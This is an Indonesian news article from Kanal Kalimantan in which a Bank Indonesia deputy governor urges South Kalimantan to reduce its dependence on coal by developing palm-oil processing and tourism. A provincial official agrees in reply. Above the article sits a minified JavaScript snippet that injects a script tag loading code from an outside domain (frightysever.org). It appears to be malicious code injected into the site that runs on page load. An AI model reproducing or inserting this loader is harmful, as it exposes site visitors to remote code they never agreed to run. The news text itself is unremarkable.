(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Deputi Gubernur Bank Indonesia (BI) Dr Sugeng mengingatkan Pemerintah Daerah untuk segera mencari sumber ekonomi alternatif bagi Provinsi Kalsel ke depannya. Komposisi yang lebih mengandalkan komoditas pertambangan pada gerak ekonominya saat ini, menyebabkan ekonomi Kalsel sangat rentan tumbang oleh faktor eksternal.
“Contohnya waktu Tahun 2013 silam saat harga batu bara turun drastis di pasar global, ekonomi Kalsel yang sebelumnya berkisar diangka 7 persen malah anjlok hingga kisaran 3 persen. Kondisi seperti ini tentunya perlu diantisipasi mulai sekarang agar kejadiannya tidak terulang,” ujarnya disela kegiatan Diseminasi Laporan Perekonomian Indonesia (LPI) Tahun 2018, Jumat (3/5) di Ruang Serba Guna Kantor Bank Indonesia Provinsi Kalsel.
Ia pun dalam kesempatan ini mengusulkan agar Provinsi Kalsel bisa mencontoh Negara Malaysia yang mampu mengembangkan kebun sawit untuk membuat berbagai produk turunan bernilai tinggi. “Disini kan banyak kebun sawitnya, namun jangan hanya berhenti hingga ekspor minyak sawit mentah saja, tapi dorong juga industrinya agar bisa menjadi pengganti penggerak ekonomi Kalsel selain sektor pertambangan,” harapnya.
Kemudian sektor lainnya yang juga tidak kalah potensial untuk dikembangkan adalah sektor pariwisata. Dengan sudah mulai dibangunnya bandara Internasional Syamsudin Noor, maka tentu kesempatan Kalsel menggiatkan roda perekonomian melalui pariwisata menjadi terbuka lebar.
“Kalsel saya lihat banyak memiliki objek wisata alam yang unik dan menarik. Tinggal dibenahi dan dipromosikan dengan serius saja agar mampu mendorong sektor pariwasata makin berkembang di Banua,” katanya.
Terkait kegiatan Diseminasi Laporan Perekonomian Indonesia (LPI) memang rutin pihaknya gelar setiap tahunnya sejak tahun 1931. Tujuannya adalah untuk menginventarisir berbagai masalah perekonomian yang terjadi selama setahun belakangan dan mengevaluasi berbagai macam kebijakan ekonomi yang telah diambil dan dilakukan oleh Pemerintah.
“Jadi data dan kejadian yang masuk akan menjadi rujukan kita untuk membuat sebuah kebijakan ekonomi yang lebih baik pada Tahun 2019 ini,” tambahnya.
Sementara itu, Asisten 1 Bidang Pemerintahan Pemprov Kalsel Siswansyah menegaskan, Provinsi Kalsel saat ini memang sedang berjuang untuk mendorong sektor ekonomi alternatif bisa hadir untuk menggantikan sektor pertambangan yang hingga masih menjadi primadona.
Salah satu caranya adalah dengan membuat berbagai program kerja dan pembangunan infrastruktur agar sektor alternatif bisa berkembang, baik itu sektor perkebunan, pertanian, perikanan hingga sektor pariwisata. “Namun memang kita tidak bisa sendiri, perlu peran serta semua pihak tentunya agar Kalsel bisa keluar dari sektor pertambangan sebagai penopang ekonominya,” tukasnya.(arief)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.